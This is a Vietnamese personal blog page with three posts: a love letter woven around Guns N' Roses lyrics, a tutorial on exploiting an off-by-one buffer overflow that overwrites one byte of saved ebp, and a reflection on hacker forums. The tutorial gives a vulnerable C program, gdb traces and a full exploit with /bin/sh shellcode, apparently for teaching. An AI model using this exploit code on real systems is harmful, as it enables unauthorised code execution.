Anh yêu em - Nếu có thể hãy cho tình yêu sự kiên nhẫn

1 comment:
Mượn tâm sự của người để bày tỏ nỗi lòng .


Lâu lâu không viết cái gì, hôm nay nghe 'Patience' tự nhiên muốn viết cái gì đó không phải cho mình mà cũng chẳng cho ai, chỉ là một bài viết cảm nhận như mọi khi về cuộc sống mà mình đang đi qua từng ngày. Hy vọng sẽ có ai tìm được gì đó trong nó. (Nghiêm Trọng Việt)
Tình yêu, hãy dành cho nó sự kiên nhẫn.

Nhóm nhạc rock lừng danh Guns N' Roses. Ảnh: muchmusic.
 
"Shed a tear 'cause I'm missin' you
I'm still alright to smile
Girl, I think about you every day now
Was a time when I wasn't sure
But you set my mind at ease
There is no doubt
You're in my heart now"

 
Cả đêm qua anh đã không ngủ được vì những cảm xúc kia lại quay về ám ảnh anh. Anh nhớ mình đã từng nói với em, anh rất thích đoạn huýt sáo và đoạn dạo guittar đầu của nó, có cái giác gì trống vắng, cứ chậm chậm thôi mà nghe thật cô đơn. Đêm, cái không gian tĩnh mịch đó lại làm anh nhớ về em. Khóc? Anh đang tự hỏi mình đang khóc vì cái gì đây? Nhớ em, áp lực cuộc sống hay vì cái gì đó. Anh cũng chả biết nữa, nhưng anh vẫn chắc một điều, anh vẫn có thể cười khi gặp em. Em à, anh đang nghĩ về em như bao ngày, em vẫn vậy vẫn luôn ngự trị trong trái tim anh. Nhưng giờ anh biết, anh mất cơ hội được nhìn thấy nụ cười của em, giọng nói ấm áp, sưởi ấm tâm hồm anh những ngày tháng qua rồi.
"Said, woman, take it slow
It'll work itself out fine
All we need is just a little patience
Said, sugar, make it slow
And we come together fine
All we need is just a little patience
(patience)
Mm, yeah"

Em nói rằng, cứ chầm chậm thôi, hay cho em thêm thời gian. Cái chúng ta cần là một chút gì đó kiên nhẫn, thời gian, mọi thứ sẽ trở nên tốt đẹp hơn. Nhiều lúc anh tự hỏi mình, không biết anh kiên nhẫn vậy đã đủ chưa, hay còn phải kiên nhẫn hơn nữa. Mà không biết em bắt anh phải kiên nhẫn đến bao giờ, hãy cho anh một câu trả lời. Một câu thôi, để xóa đi sự chờ đợi của anh trong suốt thời gian vừa qua, để anh có thể bước tiếp...
Nhưng thực tế cho thấy, em chẳng nói gì, mặc anh trong chờ đợi.
Đã có những lúc anh muốn nói với em, anh mệt mỏi lắm rồi, nhưng anh không đủ can đảm hay nói đúng hơn là anh không thể nói ra, với anh, em quá tuyệt vời. Ngày trước, khi em xuất hiện, anh như tìm ra một cái gì đó mới mẻ mà anh nghĩ nó đã thay đổi cuộc sống của anh. Và đúng thế thật, nó đã thay đổi như ngày hôm nay, thay đổi khiến anh không ngờ đến.
"I sit here on the stairs
'Cause I'd rather be alone
If I can't have you right now
I'll wait, dear
Sometimes I get so tense
But I can't speed up the time
But you know, love
There's one more thing to consider"

Anh đang ngồi bên những bậc cầu thang, anh muốn mình đơn độc, cô đơn. Điều đó còn làm anh thoải mái hơn khi nghĩ về em. Em bảo anh chờ, anh sẽ chờ, sẽ đếm từng ngày, đôi lúc anh muốn xé toạc cái khoảng thời gian đó, chờ với cái niềm tin nhỏ bé: "Mọi thứ sẽ trở nên tốt đẹp". Nhưng em có hiểu một điều rằng "tình yêu không phải là thứ để chiêm ngưỡng". Anh mệt mỏi và sự kiên nhẫn trong anh đang lụi tàn.
"Said, woman, take it slow
And things will be just fine
You and I'll just use a little patience
Said, sugar, take the time
'Cause the lights are shining bright
You and I've got what it takes
To make it, We won't fake it,
I'll never break it
'cause I can't take it"

Em nói hãy kiên nhẫn, kiên nhẫn đời chờ rồi mọi thứ sẽ tốt đẹp. Ánh bình minh sẽ lại tỏa sáng, và sẽ có một ngày chúng ta sẽ bên nhau. Anh đã tin, ít nhất đến thời điểm mà anh thấy em đã gặp và yêu một người khác, cái người mà em mới gặp chưa tới nửa tháng. Vậy thì liệu sự kiên nhẫn nó có ở đây không? Hay chỉ là sự lừa dối, một hình thức lót đường để tìm một người mới. Vậy thì sau này anh có cần kiên nhẩn chờ đợi nữa hay không? Sẽ tiếp tục kiên nhẫn nữa chứ. Liệu anh có thể dũng cảm đi tiếp con đường mà anh không còn có em bên cạnh nữa không. Anh đã từng hứa anh sẽ làm nên tình yêu, sẽ chẳng bao giờ đánh mất nó, vì tình cảm anh dành cho em luôn là sự chân thật từ trong lòng mình. Anh sẽ chăng đánh mất nó vì anh có bao giờ có nó đâu.

"I been walkin' the streets at night
Just tryin' to get it right
Hard to see with so many around
You know I don't like
Being stuck in the crowd
And the streets don't change
But baby the name
I ain't got time for the game
'cause I need you
Yeah, yeah, but I need you
Oo, I need you
Whoa, I need you
Oo, all this time"

Lang thang trên những con phố, có lẽ là cách tốt nhất với anh lúc này. Cho dù thật là khó khăn để tìm một lối đi cho riêng mình lúc này, mọi cái đều phảng phất hình ảnh em. Em biết đấy, anh ghét sự đông đúc, ghét cái tắc đường của Hà Nội, những con đường chẳng bao giờ thay đổi, chỉ có em là thay đổi. Nhưng anh cần em, ít nhất vào lúc này, khi niềm tin trong anh đang cạn kiệt mỗi phút trôi qua. Em đừng đem thời gian để làm trò chơi với anh được không, hãy cho anh niềm tin. Vì anh biết "Tình yêu, nếu có thể hãy dành cho nó sự kiên nhẫn". 

Patience
Trình bày: Guns N' Roses
Shed a tear 'cause I'm missin' you
I'm still alright to smile
Girl, I think about you every day now
Was a time when I wasn't sure
But you set my mind at ease
There is no doubt
You're in my heart now
Said, woman, take it slow
It'll work itself out fine
All we need is just a little patience
Said, sugar, make it slow
And we come together fine
All we need is just a little patience
(patience)
Mm, yeah
I sit here on the stairs
'Cause I'd rather be alone
If I can't have you right now
I'll wait, dear
Sometimes I get so tense
But I can't speed up the time
But you know, love
There's one more thing to consider
Said, woman, take it slow
And things will be just fine
You and I'll just use a little patience
Said, sugar, take the time
'Cause the lights are shining bright
You and I've got what it takes
To make it, We won't fake it,
I'll never break it
'cause I can't take it
I been walkin' the streets at night
Just tryin' to get it right
Hard to see with so many around
You know I don't like
Being stuck in the crowd
And the streets don't change
But baby the name
I ain't got time for the game
'cause I need you
Yeah, yeah, but I need you
Oo, I need you
Whoa, I need you
Oo, all this time

gửi đến em : Thật sự anh đang rất kiên nhẫn, anh sẽ đợi đến khi nào em muốn, điều đó cũng là một phần thử thách của tình yêu phải không em. Cho dù bây giờ, giữa chúng ta, một khoảng cách mơ hồ đang ngự trị, em giận anh, anh giận em, chúng ta đã không gặp nhau lâu rồi . Anh rất muốn gặp em, nói với em rằng anh rất yêu em, hơn nhiều lần em có thể tưởng tượng, anh yêu em hơn bất kì ai khác. Anh yêu em, đơn giản chỉ vì em là em, là một nửa của đời anh, và em đã ngự trị hoàn toàn trái tim anh rồi .


Em có nhớ lúc ở KTX ĐHQG không, lúc hai đứa, H và An đang đùa với nhau, nói chuyện tương lai, gia đình. Rồi anh hỏi em "Còn hai đứa mình thì sao ?", em đã nhìn anh, với ánh mắt diệu dàng, ánh mắt làm anh say đắm. Anh cá rằng, không người con gái nào có ánh mắt đẹp như em. Em trả lời rằng "Biết rồi còn hỏi !", giọng em nũng nịu làm sao. Dù lấp lửng, nhưng anh hiểu, đó là lời thú tội ngọt ngào của em, rằng em cũng như anh, đã rơi vào cái bẫy của thần tình ái phải không . Anh yêu em, và xin em, hãy là chính mình, sống bằng con tim, hãy cùng anh yêu cho hết khác khao cháy bỏng, yêu như hai kẻ điên cuồng. Như Xuân diệu đã từng viết :
Hãy sát đôi đầu! Hãy kề đôi ngực!
Hãy trộn nhau đôi mái tóc ngắn dài!
Những cánh tay! Hãy quấn riết đôi vai!
Hãy dâng cả tình yêu lên sóng mắt!
Hãy khắng khít những cặp môi gắn chặt
Cho anh nghe đôi hàm ngọc của răng;
Trong say-sưa, anh sẽ bảo em rằng :
"Gần thêm nữa! Thế vẫn còn xa lắm!"
Anh sẽ chờ em, hãy hoàn thành những gì em cần làm, hãy thực hiện nó thật tốt. Và hãy luôn nhớ rằng, trên con đường em đang đi, bên em đó là anh, luôn dõi theo em mỗi ngày. Em thấy không, phía cuối đường kia, ngôi nhà và những đứa trẻ .


Anh yêu em.

Off by one - overwrite ebp with one byte .

No comments:
Trong các tình huống tràn bộ đệm khác nhau, nhiều trường hợp, chỉ có thể ghi đè được 1 byte duy nhất ra ngoài vùng được phép - ghi đè 1 byte lên thanh ghi ebp. Bài viết này sẽ trình bày một số điểm khái quát trong quá trình tận dụng lỗi này .

Trước hết, một source code của chương trình bị lỗi như sau :

#include <stdio.h>

func(char *sm)
{
        char buffer[256];
        int i;
        for(i=0;i<=256;i++)
                buffer[i]=sm[i];
}

main(int argc, char *argv[])
{
        if (argc < 2) {
                printf("missing args\n");
                exit(-1);
        }

        func(argv[1]);
}

Để khai thác được lỗi này, thì phải compile chương trình trên bằng gcc 3.x với option -mpreferred-stack-boundary=2 :

crazyboy@h4x0r:$ gcc -mpreferred-stack-boundary=2 offone.c -o offone

Hàm func() của chương trình trên đã bị lỗi ở đoạn 

for(i=0;i<=256;i++)
      buffer[i]=sm[i];

Thay vì chép 256 bytes, thì nó đã tự sát bằng cách chép đến 257 bytes, đồng nghĩa với việc $ebp bị ghi đè 1 byte. Sơ đồ vùng nhớ khi đang ở trong hàm func lúc bị ghi đè như sau :

saved_eip
 saved_ebp (bị ghi đè 1 byte)   
 AAAAAAAAA   \
 AAAAAAAAA    |  char buffer 
 AAAAAAAAA   /
 int i

Dùng gdb, có thể dễ dàng kiểm chứng rỏ hơn việc $ebp bị ghi đè như thế nào :

(gdb) disass func
Dump of assembler code for function func:
0x080483d4 :    push   %ebp
0x080483d5 :    mov    %esp,%ebp
0x080483d7 :    sub    $0x104,%esp
0x080483dd :    movl   $0x0,0xfffffefc(%ebp)
0x080483e7 :    cmpl   $0x100,0xfffffefc(%ebp)
0x080483f1 :    jg     0x8048418
0x080483f3 :    lea    0xffffff00(%ebp),%eax
0x080483f9 :    mov    %eax,%edx
0x080483fb :    add    0xfffffefc(%ebp),%edx
0x08048401 :    mov    0xfffffefc(%ebp),%eax
0x08048407 :    add    0x8(%ebp),%eax
0x0804840a :    mov    (%eax),%al
0x0804840c :    mov    %al,(%edx)
0x0804840e :    lea    0xfffffefc(%ebp),%eax
0x08048414 :    incl   (%eax)
0x08048416 :    jmp    0x80483e7
0x08048418 :    leave 
0x08048419 :    ret   
End of assembler dump.
(gdb) disass main
Dump of assembler code for function main:
0x0804841a :    push   %ebp
0x0804841b :    mov    %esp,%ebp
0x0804841d :    cmpl   $0x1,0x8(%ebp)
0x08048421 :    jg     0x8048437
0x08048423 :    push   $0x8048554
0x08048428 :    call   0x80482d8
0x0804842d :    add    $0x4,%esp
0x08048430 :    push   $0xffffffff
0x08048432 :    call   0x80482e8
0x08048437 :    mov    0xc(%ebp),%eax
0x0804843a :    add    $0x4,%eax
0x0804843d :    pushl  (%eax)
0x0804843f :    call   0x80483d4
0x08048444 :    add    $0x4,%esp
0x08048447 :    leave 
0x08048448 :    ret   
End of assembler dump.
(gdb)
Continuing.
Breakpoint 8, 0x08048447 in main ()
(gdb) i r ebp
ebp            0xbffff441    0xbffff441
(gdb)

Như vậy, $ebp đã bị ghi đè đúng 1 byte.

Giá trị của $esp đã được điều khiển tùy ý trong khoản 0xbffff400 đến 0xbffff4ff . Dữ liệu vào sẽ được bố trí như sau :

 [NOP][shellcode][&NOP][1 byte X ghi đè lên ebp]

Giá trị của X = [byte thấp của &NOP] - 4 ( 4 bytes khi leave sẽ được pop $ebp ). Lúc này,sau khi đến lệnh ret cuối hàm main, chương trình sẽ tiến hành ret vào $esp hiện giờ đang chứa đia chỉ của phần shellcode phía trước. Địa chỉ của $esp trong hàm func sẽ làm địa chỉ nền để ret về :

(gdb) b* 0x080483dd
Breakpoint 6 at 0x80483dd
(gdb) b* 0x08048418
Breakpoint 7 at 0x8048418
(gdb) r `python -c 'print "A"*257'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /tmp/offone/offone `python -c 'print "A"*257'`

Breakpoint 6, 0x080483dd in func ()
(gdb) x/2x $esp
0xbffff328:    0xb7fcf000    0xbffff380
(gdb) c
Continuing.

Breakpoint 7, 0x08048418 in func ()
(gdb) x/2x $esp
0xbffff328:    0x00000101    0x41414141
(gdb)
Như vậy, địa chỉ ret về sẽ là 0xbffff32c .

Chương trình khai thác như sau :

#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
        "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
        "\xd7\xff\xff\xff/bin/sh";

main()
{
        int i, j;
        char buffer[1024];

        bzero(&buffer, 1024);
        for (i=0;i<=(248-sizeof(sc_linux));i++)
        {
                buffer[i] = 0x90;
        }
        for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
        {
                buffer[i] = sc_linux[j];
        }
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * Địa chỉ của bufer sẽ đươc pop $ebp
        buffer[i++] = 0xff;  *
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x2c; /*
        buffer[i++] = 0xf3;  * 2 lần vì 1 địa chỉ để pop $ebp phải hợp lệ.
        buffer[i++] = 0xff;  * phần này sẽ được dùng để ret .
        buffer[i++] = 0xbf;  */
        buffer[i++] = 0x24;  // 0xbfff428 là địa chỉ của &NOP.
        execl("./offone", "offone", buffer, NULL);
}


Một số chi tiết về mã asm, địa chỉ sẽ khác nhau tùy máy, tùy hệ điều hành và các phiên bản khác nhau của compiler.

Bài viết có tham khảo từ : http://www.phrack.org/issues.html?id=8&issue=55

Tản mạn : Hạ Sơn !

No comments:
Mấy ngày gần đây, mình vừa ôn thi, vừa dành thời gian quá nhiều cho việc lang thang trên mạng. Tham gia ở vài diễn đàn như Xgroupvn, Vietmatrix, Hcegroup, vniss, ... và hai ba diễn đàn về CC chùa nữa . Mong là trong chuyến hành trình ấy, sẽ kiếm được bạn có cùng chí hướng, nhưng mộng bất thành. Kẻ thì quá ngạo mạng, với chút kiến thức nhỏ tí của mình thì xưng hùng xưng bá, không coi ai ra gì. Một tí thành tích local, deface, cộng với vài cái CC chùa, rồi mua domain, hosting lập nên cho mình một đại bản doanh group  này group nọ, hùng cứ một phương, vỗ ngực ta đây oai phong lẫm liệt.

Nói về phần mình thì cũng rất là rảnh, cũng tham gia thảo luận, cãi cọ đàng hoàng. Nhưng có lẽ cách tiếp cận vấn đề, đề xuất hướng giải quyết vấn đề của mình không phù hợp với các "hắc cờ" ngày nay cho lắm, nên mọi thứ đề đi vào ngỏ cụt và quên lãng.


Có khi điều đó cũng hay, nó giúp mình nhận ra nhiều điều, rồi mới có entry này chứ. Nó giúp mình hiểu được với sức một mình mình, không thể giúp đỡ được tất cả mọi người được . Và rằng với những kẻ chỉ thích thành công nhanh chóng, và mỗi khi đạt được thành công rồi thì không muốn tiếp tục nữa, ngủ quên trên cái vinh quang ảo của chính mình thì nên bỏ mặt đi.

Mình nhận ra rằng, về cách ứng xử, giao tiếp với cộng đồng của mình còn rất tệ. Nên cởi mở hơn, vui vẻ hơn và đừng dồn người ta vào đường cùng quá. Phải khiêm tốn, và tránh nói năng sổ sàng .

Về kiến thức thì còn phải trao dồi nhiều hơn nữa. Phải tiếp tục phấn đấu nếu không muốn bị bỏ lại đằng sau.

Trong thời gian tới, sẽ chấm dứt việc lang thang trên mạng nhiều như vừa qua. Tiếp tục đào sâu vào X và học thêm Crypto. Sang năm hi vọng sẽ đủ nội công thi đấu cùng mấy anh. Và mình còn ôm ấp cả một dự định lớn hơn nữa .

Lần hạ sơn này là lần hạ sơn đầu tiên, cũng đụng chạm nhiều điều, làm mình thêm quyết tâm hơn. Sắp tới, sẽ lên núi để tiếp tục luyện công, tìm lại giá trị cho chính mình.